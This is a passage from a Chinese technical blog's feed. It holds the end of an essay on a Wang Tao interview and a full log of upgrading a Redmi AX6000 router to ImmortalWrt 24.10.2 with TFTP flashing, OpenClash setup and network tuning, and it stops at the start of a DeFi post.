CEO，国家有元首。地球上这么多国家，谁给整个地球做熵减？……既然所有低维系统都离不开更高维的秩序源，那人类社会乃至地球本身，多半也有某种更高维的『意识体』，在背后维持秩序。」</p></blockquote><p>这个推断很容易被读成深刻的宇宙观，但拆开看，它是一个典型的弱类比——把「人造的机械系统」和「自然演化的生态系统」混为一谈。两者对秩序的需求方式完全不同：</p><table><thead><tr><th>系统类型</th><th>秩序如何产生</th><th>典型例子</th></tr></thead><tbody><tr><td>人造机械系统</td><td>由设计者注入目的，靠强制干预维持</td><td>公司、军队、人造卫星</td></tr><tr><td>自然生态系统</td><td>由开放系统从外界吸收能量，靠个体互动自发涌现</td><td>蚁群、热带雨林、自由市场</td></tr></tbody></table><p>物理学上的反证更直接：地球根本不是一个封闭系统。普里高津的「耗散结构理论」早就证明，<strong>只要系统对外开放、有持续的能量流入，就可以自发地从混乱里涌现出复杂的秩序</strong>——蚁群没有总指挥能建起复杂蚁巢，自由市场没有计划委员会能调节千万种商品的供需。地球这个生态系统的「负熵流」来自太阳，根本不需要一个「球长」来发号施令。汪滔顺手提到杨振宁那句「宇宙的参数像被精妙设计过」（即「精细调节宇宙」假说）也并不必然导向「造物主」——多重宇宙、人择原理同样能解释，只是没有「设计者」这个意象那么浪漫。</p><p>那他为什么还是会得出这个推断？因为他深陷「管理者的体感错觉」。一个用了 8 年时间、花半条命压制组织贪腐和山头的人，会形成极强的肌肉记忆：<strong>秩序是反人性的，没有我的强权干预，系统分分钟会死</strong>。当他把这种体感放大到整个宇宙时，他无法相信宇宙的美妙秩序可以是「盲目涌现」出来的，本能地认为宇宙背后一定站着一个和他一样孤独、冷酷且充满智慧的「超级 CEO」。</p><p>这条推断在科学上站不住——它把人造系统的他律逻辑错误地推到了自然系统上。但它在心理意义上极其真实：<strong>这其实是一份属于顶级创业者的孤独宣言</strong>。汪滔不是在论证上帝存在，他是在用宇宙的浩瀚来投射和抚慰自己作为「组织熵减者」那份不为人知的沉重与疲惫。一个不曾在管理一线吃过这种苦的人，写不出这段话。</p><h2 id="5-带走：跨出-CEO-语境的硬货">5. 带走：跨出 CEO 语境的硬货</h2><p>访谈第五章是汪滔的内心成长复盘——「Something is wrong」、城堡缺的第四个角、子贡孔子、三个世界、John Galt。这些材料放在他自己身上有意义，但大部分是一个 800 亿公司创始人在 35 岁之后陷进精神虚无又爬出来的具体路径，普通人硬抄反而容易抄出空感动。真正能跨出 CEO 语境、对独立个体也直接成立的，只有下面两条。</p><p><strong>第一条：「活出来才是那 99% 的难度」</strong>。这句话需要先把「活出来」说清楚。它不是想明白、也不是写下来，而是<strong>每一天的实际生活就这样在过，直到它变成你的默认行为</strong>。</p><table><thead><tr><th>层级</th><th>含义</th><th>难度</th></tr></thead><tbody><tr><td>想明白</td><td>大脑接受了一个结论</td><td>1%</td></tr><tr><td>写出来</td><td>把结论讲清楚、形成文字</td><td>几%</td></tr><tr><td>活出来</td><td>生活的每一天都按这个结论在过</td><td>99%</td></tr></tbody></table><p>举个具体例子：想明白「健康比加班重要」很简单，写一篇讲「健康优先」的朋友圈也不难；但过去一年真的每周去 3 次健身房、没有因为加班一次放弃过——这才是活出来。大多数人停在前两层就以为自己「懂了」，但其实根本没兑现。</p><p>汪滔 2016 年读完《阿特拉斯耸耸肩》起过一个冲动——想「live 一本小说」，自己活成一个故事。后来他把这件事想清楚了：「小说可以牺牲真实来拼凑情节，爽一把，但人生不行。要 live 一本小说，先要是真理；再要真实活出来；然后你才能写出来。<strong>活出来，才是那 99% 的难度</strong>。」小说里 John Galt 是作者一支笔写出来的——<strong>作者拥有作弊权，可以跳过那 99%，直接描写人物做到的那一刻</strong>；现实里没有这个作弊权，汪滔得用 8 年还交付债、拆田园时代、一个个收山头，才能活成一个配得上写的故事。</p><p>任何一个想做点真东西的人都可以拿这把尺子自检：<strong>我这个想法，是停在想明白了，还是已经在日常生活里兑现了？</strong> 答案如果是前者，那它大概率只是一个幻想产品。</p><p><strong>第二条：把个人愿景和实际生活对齐，是个体最大的产品</strong>。汪滔给创始人的最高难度任务下过一个定义——「<strong>创始人最大的创造，是把个人的愿景和公司统一</strong>」。他的原话是：「创始人的价值观和公司的价值观，本来是两张皮，等到这两张皮能真正贴在一起，我就可以退休了。」主流创业叙事是「先把公司做大，再去找人生意义」——公司是手段、意义是结果，两件事分阶段做。汪滔这条反过来：<strong>把两张皮贴到一起这件事本身，就是最高难度的产品</strong>。产品、管理都可以外包，唯独「我想活成的样子」和「我做出来的公司活成的样子」这两张皮对齐不能外包、不能分阶段——任何一个阶段没贴齐，公司就会反过来把人拖成另一种样子。</p><p>这条放到个体身上翻译过来就是：<strong>一个独立的人最大的创造，是把想活成的愿景和实际活出来的生活统一</strong>。大多数人把「想活成什么样」和「正在活成什么样」当两件事处理：想的归想的，过的归过的，彼此不影响。这种分离状态持续下去就会长出汪滔说的那种「Something is wrong」——不是某件具体事情出了错，是整套系统在错位。收山头、还交付债、招得比挖得快这些外部动作，对个体而言其实都是在服务同一件事：让外部系统长成能支撑内部愿景的样子。</p><h2 id="6-收口">6. 收口</h2><p>汪滔这次愿意把自己变成一个普通人——承认搬运、承认补课、承认运气、承认 Pocket 3 的爆款是同事的 idea、承认大疆能活下来是因为友商当时不强。</p><p>这套路径不是天才神话。它是一个普通的产品直觉，加上 8 年补管理课的耐心，加上选一个不大不小池塘的清醒，加上买了一份「友商不行」的运气。复用它的前提是先承认这套结构本身——找到一个被低估的痛点，把全世界已有的技术拼起来解决它，把体验做到傻瓜级，再选一个不大不小的池塘卡住；同时清楚自己买到的是别人替你付完学费的开卷考试，红利期最多 5 年，5 年内必须把交付债还完。</p><p>「<strong>结果不确定，路才有意义</strong>」这句话，汪滔是用浙江版《西游记》里一段对话引出来的：唐僧被白骨精抓了，跟沙僧关在洞里。沙僧问，既然知道是妖，为何不让悟空打死？唐僧说，如果到处打打杀杀，我还取什么经？沙僧又问，死了怎么办？唐僧说，观音让我取经，不会让我随便死的。沙僧说，可我们现在分分钟会被杀掉。唐僧答：若真要死，就是定业难转，我也认了。汪滔的解读是：「对结果有足够的信心，但又永远不可能、也不应该 100% 相信会成功。」</p><p>这个心态放在他八年还债、亲手拆田园时代、看着骨干一波波出走、自己重新开始招人面试的背景里，是另一种重量——结构能保证你不会死得太难看，但不能保证你能走多远；剩下那段路，只能继续走。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/wang-tao-interview-bringism-and-delivery-arbitrage/</id>
    <link href="https://www.blog-blockchain.xyz/career/wang-tao-interview-bringism-and-delivery-arbitrage/"/>
    <published>2026-05-03T02:00:00.000Z</published>
    <summary>汪滔这次 19 小时访谈一直在做同一件事，把自己从天才的位置上拽下来。这篇读后按「入场/补课/过滤/带走」四层拆——入场讲普通天才怎么赚到钱，补课讲 8 年还交付债的代价，过滤掉只在 CEO 语境成立的话，带走两条对独立个体也成立的硬货。</summary>
    <title>汪滔访谈读后：拿来主义、交付债与一个普通天才的样本</title>
    <updated>2026-05-10T09:44:49.636Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="设备信息">设备信息</h2><ul><li>型号：Xiaomi Redmi Router AX6000（mediatek/filogic，MT7986，aarch64_cortex-a53）</li><li>原系统：ImmortalWrt 23.05-SNAPSHOT r28040，kernel 5.4，2024-09-19 构建</li><li>目标系统：ImmortalWrt 24.10.2 r33247，kernel 6.6.93</li></ul><hr><h2 id="背景：三种固件布局">背景：三种固件布局</h2><p>AX6000 的 ImmortalWrt 有三种分区布局，互不兼容：</p><table><thead><tr><th>布局</th><th>UBI 大小</th><th>说明</th></tr></thead><tbody><tr><td>stock</td><td>原厂大小</td><td>原厂分区，不含不死 uboot</td></tr><tr><td>hanwckf uboot</td><td>110MB</td><td>魔改版，含不死 uboot 恢复界面</td></tr><tr><td>ubootmod</td><td>122.5MB</td><td>官方支持的不死 uboot，删除 crash/crash_log 分区换来更大 UBI</td></tr></tbody></table><p>原系统是 <strong>hanwckf uboot</strong> 布局，24.10.2 只提供 stock 和 ubootmod，需要先迁移布局再升级。</p><p><strong>不死 uboot</strong>：三种布局中 hanwckf 和 ubootmod 都支持，是一个内置在 uboot 里的恢复 Web 界面，断电重启时按住 reset 键可进入，用于救砖上传固件。</p><hr><h2 id="固件文件说明">固件文件说明</h2><table><thead><tr><th>文件</th><th>用途</th></tr></thead><tbody><tr><td><code>ubootmod.fip</code></td><td>uboot 本身，写入 FIP 分区完成布局迁移，只需做一次</td></tr><tr><td><code>initramfs-recovery.itb</code></td><td>通过 TFTP 传给 uboot 的初始化镜像，用于布局迁移时初装系统</td></tr><tr><td><code>initramfs-factory.ubi</code></td><td>同上，UBI 格式，用于通过 web 界面上传刷入（与 recovery.itb 二选一）</td></tr><tr><td><code>sysupgrade.itb</code></td><td>日常升级用，系统装好后用 <code>sysupgrade</code> 命令刷，不改变分区结构</td></tr></tbody></table><p>简单说：<code>fip</code> 换 uboot → <code>recovery.itb</code> 初装系统 → 以后每次升级用 <code>sysupgrade.itb</code>。</p><hr><h2 id="升级步骤">升级步骤</h2><h3 id="1-下载固件到路由器">1. 下载固件到路由器</h3><p>原系统可以直接 SSH，在路由器上用 curl 下载：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 注意：Cloudflare 会拦截直接下载，需用镜像站</span></span><br><span class="line">curl -L -o /tmp/ubootmod.fip <span class="string">&#x27;https://mirrors.vsean.net/openwrt/releases/24.10.2/targets/mediatek/filogic/immortalwrt-24.10.2-mediatek-filogic-xiaomi_redmi-router-ax6000-ubootmod.fip&#x27;</span></span><br><span class="line">curl -L -o /tmp/initramfs-factory.ubi <span class="string">&#x27;https://mirrors.vsean.net/openwrt/releases/24.10.2/targets/mediatek/filogic/immortalwrt-24.10.2-mediatek-filogic-xiaomi_redmi-router-ax6000-ubootmod-initramfs-factory.ubi&#x27;</span></span><br></pre></td></tr></table></figure><p><strong>坑</strong>：从 Mac 直接下载会被 Cloudflare 拦截，返回 7.5KB 的 HTML 而不是固件。改用 <code>mirrors.vsean.net</code> 镜像解决。</p><h3 id="2-写入新-uboot-FIP">2. 写入新 uboot FIP</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mtd write /tmp/ubootmod.fip FIP</span><br></pre></td></tr></table></figure><p>写入成功后路由器自动重启，/tmp 内容全部丢失（tmpfs）。</p><p><strong>坑</strong>：sysupgrade.itb 也下载到了 /tmp，重启后没了。initramfs-factory.ubi 要提前下载到本地 Mac。</p><h3 id="3-通过-TFTP-刷入新固件">3. 通过 TFTP 刷入新固件</h3><p>写入 ubootmod FIP 重启后，uboot 检测到原有 UBI 布局不兼容，自动进入 TFTP 恢复模式（无需按 reset 键）。</p><p><strong>地址分配</strong>：</p><ul><li>路由器 IP：<code>192.168.1.1</code></li><li>Mac（TFTP 服务器）IP：<code>192.168.1.254</code>（必须是这个，uboot 写死的）</li></ul><p><strong>需要的固件文件</strong>（提前下载到 Mac）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">immortalwrt-24.10.2-mediatek-filogic-xiaomi_redmi-router-ax6000-ubootmod-initramfs-recovery.itb</span><br></pre></td></tr></table></figure><p>注意：是 <code>initramfs-recovery.itb</code>，不是 <code>initramfs-factory.ubi</code>。</p><p><strong>Mac 操作步骤</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. USB 网卡设置静态 IP 192.168.1.254</span></span><br><span class="line">networksetup -setmanual <span class="string">&quot;USB 10/100/1000 LAN&quot;</span> 192.168.1.254 255.255.255.0</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 准备 TFTP 服务器，文件名必须完全一致</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /private/tftpboot</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> ~/Downloads/immortalwrt-24.10.2-mediatek-filogic-xiaomi_redmi-router-ax6000-ubootmod-initramfs-recovery.itb /private/tftpboot/</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">chmod</span> 644 /private/tftpboot/*.itb</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 启动 TFTP 服务（路由器上电前启动好）</span></span><br><span class="line"><span class="built_in">sudo</span> launchctl load -F /System/Library/LaunchDaemons/tftp.plist</span><br></pre></td></tr></table></figure><p>路由器上电后 uboot 自动向 192.168.1.254 发起 TFTP 请求，下载固件并刷入，整个过程分几个阶段（指示灯变化），完成后自动重启。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 完成后关闭 TFTP 服务</span></span><br><span class="line"><span class="built_in">sudo</span> launchctl unload -F /System/Library/LaunchDaemons/tftp.plist</span><br></pre></td></tr></table></figure><p><strong>坑</strong>：TFTP 服务器必须在路由器上电前就启动好，否则 uboot 请求超时会跳过进入其他模式。</p><h3 id="4-等待系统启动">4. 等待系统启动</h3><p>TFTP 刷入完成后路由器自动重启，直接启动进入完整安装的 ImmortalWrt 24.10.2，无需再单独刷 sysupgrade。</p><p>启动后 LuCI 在 <code>http://192.168.1.1</code> 可访问。</p><p><strong>坑</strong>：Firefox 地址栏直接输 <code>192.168.1.1</code> 会被强制跳转 HTTPS 导致连不上，要明确输入 <code>http://192.168.1.1</code>。</p><h3 id="5-修改-LAN-IP">5. 修改 LAN IP</h3><p>新系统默认 IP 是 192.168.1.1，容易和光猫冲突：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">uci <span class="built_in">set</span> network.lan.ipaddr=<span class="string">&#x27;192.168.5.1&#x27;</span></span><br><span class="line">uci commit network</span><br><span class="line">/etc/init.d/network restart</span><br></pre></td></tr></table></figure><p>执行后 SSH 连接会断开（正常），等几秒后用新 IP 连接。</p><p>Mac 网卡改回 DHCP：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">networksetup -setdhcp <span class="string">&quot;USB 10/100/1000 LAN&quot;</span></span><br></pre></td></tr></table></figure><h3 id="6-更新-SSH-known-hosts">6. 更新 SSH known_hosts</h3><p>新固件的 host key 变了，需要清除旧记录：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -R 192.168.5.1</span><br><span class="line">ssh -o StrictHostKeyChecking=accept-new immortal <span class="string">&quot;echo OK&quot;</span></span><br></pre></td></tr></table></figure><hr><h3 id="7-配置-SSH-key">7. 配置 SSH key</h3><p>新固件用 dropbear，authorized_keys 路径和标准 OpenSSH 不同：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在 Mac 上执行</span></span><br><span class="line"><span class="built_in">cat</span> ~/.ssh/openwrt_be3600.pub | ssh root@192.168.5.1 \</span><br><span class="line">  <span class="string">&quot;mkdir -p /etc/dropbear &amp;&amp; cat &gt;&gt; /etc/dropbear/authorized_keys &amp;&amp; chmod 600 /etc/dropbear/authorized_keys&quot;</span></span><br></pre></td></tr></table></figure><h3 id="8-配置-WiFi">8. 配置 WiFi</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">uci <span class="built_in">set</span> wireless.default_radio0.ssid=<span class="string">&#x27;你的SSID&#x27;</span></span><br><span class="line">uci <span class="built_in">set</span> wireless.default_radio0.encryption=<span class="string">&#x27;psk2&#x27;</span></span><br><span class="line">uci <span class="built_in">set</span> wireless.default_radio0.key=<span class="string">&#x27;你的密码&#x27;</span></span><br><span class="line">uci <span class="built_in">set</span> wireless.default_radio1.ssid=<span class="string">&#x27;你的SSID&#x27;</span></span><br><span class="line">uci <span class="built_in">set</span> wireless.default_radio1.encryption=<span class="string">&#x27;psk2&#x27;</span></span><br><span class="line">uci <span class="built_in">set</span> wireless.default_radio1.key=<span class="string">&#x27;你的密码&#x27;</span></span><br><span class="line">uci commit wireless</span><br><span class="line">wifi reload</span><br></pre></td></tr></table></figure><hr><h2 id="安装-OpenClash">安装 OpenClash</h2><h3 id="安装包">安装包</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">opkg update</span><br><span class="line">opkg install luci-app-openclash</span><br></pre></td></tr></table></figure><h3 id="安装-Mihomo-内核">安装 Mihomo 内核</h3><p>路由器从 GitHub 下载太慢，在 Mac 上下载再传过去：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Mac 上下载（arm64 对应 aarch64_cortex-a53）</span></span><br><span class="line">curl -L -o ~/Downloads/mihomo-linux-arm64.gz \</span><br><span class="line">  <span class="string">&quot;https://github.com/MetaCubeX/mihomo/releases/download/v1.19.20/mihomo-linux-arm64-v1.19.20.gz&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解压</span></span><br><span class="line">gunzip -c ~/Downloads/mihomo-linux-arm64.gz &gt; ~/Downloads/clash_meta</span><br><span class="line"></span><br><span class="line"><span class="comment"># 路由器需要先装 sftp-server 才能用 scp</span></span><br><span class="line">ssh immortal <span class="string">&quot;opkg install openssh-sftp-server&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 上传到路由器</span></span><br><span class="line">scp ~/Downloads/clash_meta immortal:/etc/openclash/core/clash_meta</span><br><span class="line">ssh immortal <span class="string">&quot;chmod +x /etc/openclash/core/clash_meta&quot;</span></span><br></pre></td></tr></table></figure><p>验证：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ssh immortal <span class="string">&quot;/etc/openclash/core/clash_meta -v&quot;</span></span><br><span class="line"><span class="comment"># 输出：Mihomo Meta v1.19.20 linux arm64 ...</span></span><br></pre></td></tr></table></figure><p>之后在 LuCI → 服务 → OpenClash 配置订阅链接即可。</p><hr><h2 id="最终状态">最终状态</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">ImmortalWrt 24.10.2 r33247-467867283bb9</span><br><span class="line">kernel 6.6.93</span><br><span class="line">mediatek/filogic / aarch64_cortex-a53</span><br><span class="line">UBI 分区：122.5MB（ubootmod 布局）</span><br><span class="line">LAN IP：192.168.5.1</span><br><span class="line">WiFi：ImmortalWrt（2.4G HE20 + 5G HE160）</span><br><span class="line">OpenClash：已安装，Mihomo Meta v1.19.20</span><br><span class="line">测速（本地 WiFi）：下行 ~1050 Mbps，上行 ~1300 Mbps，延迟 1.9ms</span><br></pre></td></tr></table></figure><hr><h2 id="调优">调优</h2><h3 id="WiFi-5GHz-开启-160MHz">WiFi 5GHz 开启 160MHz</h3><p>默认 HE80，改成 HE160 后实测下行从 891 Mbps 提升到 1050+ Mbps：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">uci <span class="built_in">set</span> wireless.radio1.htmode=<span class="string">&#x27;HE160&#x27;</span></span><br><span class="line">uci commit wireless</span><br><span class="line">wifi reload</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：客户端设备也需要支持 WiFi 6 160MHz 才能生效；信道干扰严重的环境可能反而变差。</p><h3 id="启用-BBR-拥塞控制">启用 BBR 拥塞控制</h3><p>默认 cubic，BBR 对代理流量和高延迟连接更友好：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">opkg install kmod-tcp-bbr</span><br><span class="line">modprobe tcp_bbr</span><br><span class="line"></span><br><span class="line"><span class="comment"># 立即生效</span></span><br><span class="line">sysctl -w net.ipv4.tcp_congestion_control=bbr</span><br><span class="line">sysctl -w net.core.default_qdisc=fq</span><br><span class="line"></span><br><span class="line"><span class="comment"># 持久化（写入 sysctl.conf，重启后保留）</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;net.ipv4.tcp_congestion_control=bbr&#x27;</span> &gt;&gt; /etc/sysctl.conf</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;net.core.default_qdisc=fq&#x27;</span> &gt;&gt; /etc/sysctl.conf</span><br></pre></td></tr></table></figure><h3 id="扩大-TCP-缓冲区">扩大 TCP 缓冲区</h3><p>默认只有 200KB，千兆网络下会限速，改成 16MB：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">sysctl -w net.core.rmem_max=16777216</span><br><span class="line">sysctl -w net.core.wmem_max=16777216</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;net.core.rmem_max=16777216&#x27;</span> &gt;&gt; /etc/sysctl.conf</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;net.core.wmem_max=16777216&#x27;</span> &gt;&gt; /etc/sysctl.conf</span><br></pre></td></tr></table></figure><h3 id="硬件-NAT-卸载（已默认开启）">硬件 NAT 卸载（已默认开启）</h3><p>MT7986 支持硬件流量卸载，ImmortalWrt 默认已启用，无需手动配置。验证：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">uci show firewall | grep offload</span><br><span class="line"><span class="comment"># 应输出：flow_offloading=&#x27;1&#x27; 和 flow_offloading_hw=&#x27;1&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="安装本地测速工具">安装本地测速工具</h3><p><code>librespeed-go</code> 是自托管的网页测速服务，测浏览器到路由器的速度，用来评估 WiFi 信号质量：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">opkg install librespeed-go</span><br><span class="line"></span><br><span class="line"><span class="comment"># 启用并启动</span></span><br><span class="line">uci <span class="built_in">set</span> librespeed-go.config.enabled=<span class="string">&#x27;1&#x27;</span></span><br><span class="line">uci commit librespeed-go</span><br><span class="line">/etc/init.d/librespeed-go <span class="built_in">enable</span></span><br><span class="line">/etc/init.d/librespeed-go start</span><br></pre></td></tr></table></figure><p>访问 <code>http://192.168.5.1:8989</code> 即可测速。</p><h3 id="调优效果">调优效果</h3><table><thead><tr><th>项目</th><th>调优前</th><th>调优后</th></tr></thead><tbody><tr><td>下行</td><td>891 Mbps</td><td>~1050 Mbps</td></tr><tr><td>上行</td><td>761 Mbps</td><td>~1300 Mbps</td></tr><tr><td>延迟</td><td>1.9ms</td><td>1.9ms</td></tr></tbody></table><hr><h2 id="日常升级（sysupgrade）">日常升级（sysupgrade）</h2><p>已迁移到 ubootmod 布局后，以后升级只需 sysupgrade，无需再动 uboot：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在路由器上下载 sysupgrade 固件</span></span><br><span class="line">curl -L -o /tmp/sysupgrade.itb <span class="string">&#x27;https://mirrors.vsean.net/openwrt/releases/[版本号]/targets/mediatek/filogic/immortalwrt-[版本号]-mediatek-filogic-xiaomi_redmi-router-ax6000-ubootmod-squashfs-sysupgrade.itb&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证文件大小正常（约 15MB）</span></span><br><span class="line"><span class="built_in">ls</span> -lh /tmp/sysupgrade.itb</span><br><span class="line"></span><br><span class="line"><span class="comment"># 刷入（-n 表示不保留配置，升级跨大版本建议加 -n）</span></span><br><span class="line">sysupgrade -n /tmp/sysupgrade.itb</span><br></pre></td></tr></table></figure><p>保留配置升级（小版本）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sysupgrade /tmp/sysupgrade.itb</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：如果路由器没有外网，可以先在 Mac 下载再 scp 传过去：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scp ~/Downloads/sysupgrade.itb immortal:/tmp/</span><br></pre></td></tr></table></figure><hr><h2 id="坑汇总">坑汇总</h2><table><thead><tr><th>坑</th><th>原因</th><th>解决方法</th></tr></thead><tbody><tr><td>Mac 下载固件被 Cloudflare 拦截</td><td>CDN 防护</td><td>用 <a href="http://mirrors.vsean.net">mirrors.vsean.net</a> 镜像</td></tr><tr><td>/tmp 文件重启后消失</td><td>tmpfs，刷机会重置文件系统</td><td>刷机用的固件文件必须放 Mac 本地，不要放路由器 /tmp</td></tr><tr><td>uboot 恢复界面 port 80 timeout</td><td>uboot 启动需要时间</td><td>等待或重启路由器再试（已确认实际走 TFTP，非 web 界面）</td></tr><tr><td>Firefox 连不上 192.168.1.1</td><td>自动跳 HTTPS</td><td>明确输入 <code>http://192.168.1.1</code></td></tr><tr><td>SSH host key 警告</td><td>新固件生成新密钥</td><td>ssh-keygen -R 清除旧记录</td></tr><tr><td>SSH key 刷机后丢失</td><td>新固件重置配置</td><td>重新写入 /etc/dropbear/authorized_keys</td></tr></tbody></table>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/immortalwrt-ax6000-upgrade/</id>
    <link href="https://www.blog-blockchain.xyz/dev/immortalwrt-ax6000-upgrade/"/>
    <published>2026-02-19T13:43:00.000Z</published>
    <summary>记录 Xiaomi Redmi AX6000 从 ImmortalWrt 23.05（hanwckf uboot 布局）迁移到 24.10.2（ubootmod 布局）的完整过程，含布局迁移、TFTP 刷机、OpenClash 安装及 WiFi/TCP 调优，汇总所有踩坑经验。</summary>
    <title>Xiaomi Redmi Router AX6000 ImmortalWrt 升级记录</title>
    <updated>2026-02-19T16:18:01.163Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="defi" scheme="https://www.blog-blockchain.xyz/categories/defi/"/>
    <category term="ERC-20" scheme="https://www.blog-blockchain.xyz/tags/ERC-20/"/>
    <category term="Permit" scheme="https://www.blog-blockchain.xyz/tags/Permit/"/>
    <category term="ECDSA" scheme="https://www.blog-blockchain.xyz/tags/ECDSA/"/>
    <category term="EIP-712" scheme="https://www.blog-blockchain.xyz/tags/EIP-712/"/>
    <category term="EIP-2612" scheme="https://www.blog-blockchain.xyz/tags/EIP-2612/"/>
    <category term="cryptography" scheme="https://www.blog-blockchain.xyz/tags/cryptography/"/>
    <category term="secp256k1" scheme="https://www.blog-blockchain.xyz/tags/secp256k1/"/>
    <category term="ecrecover" scheme="https://www.blog-blockchain.xyz/tags/ecrecover/"/>
    <category term="signature" scheme="https://www.blog-blockchain.xyz/tags/signature/"/>
    <content>
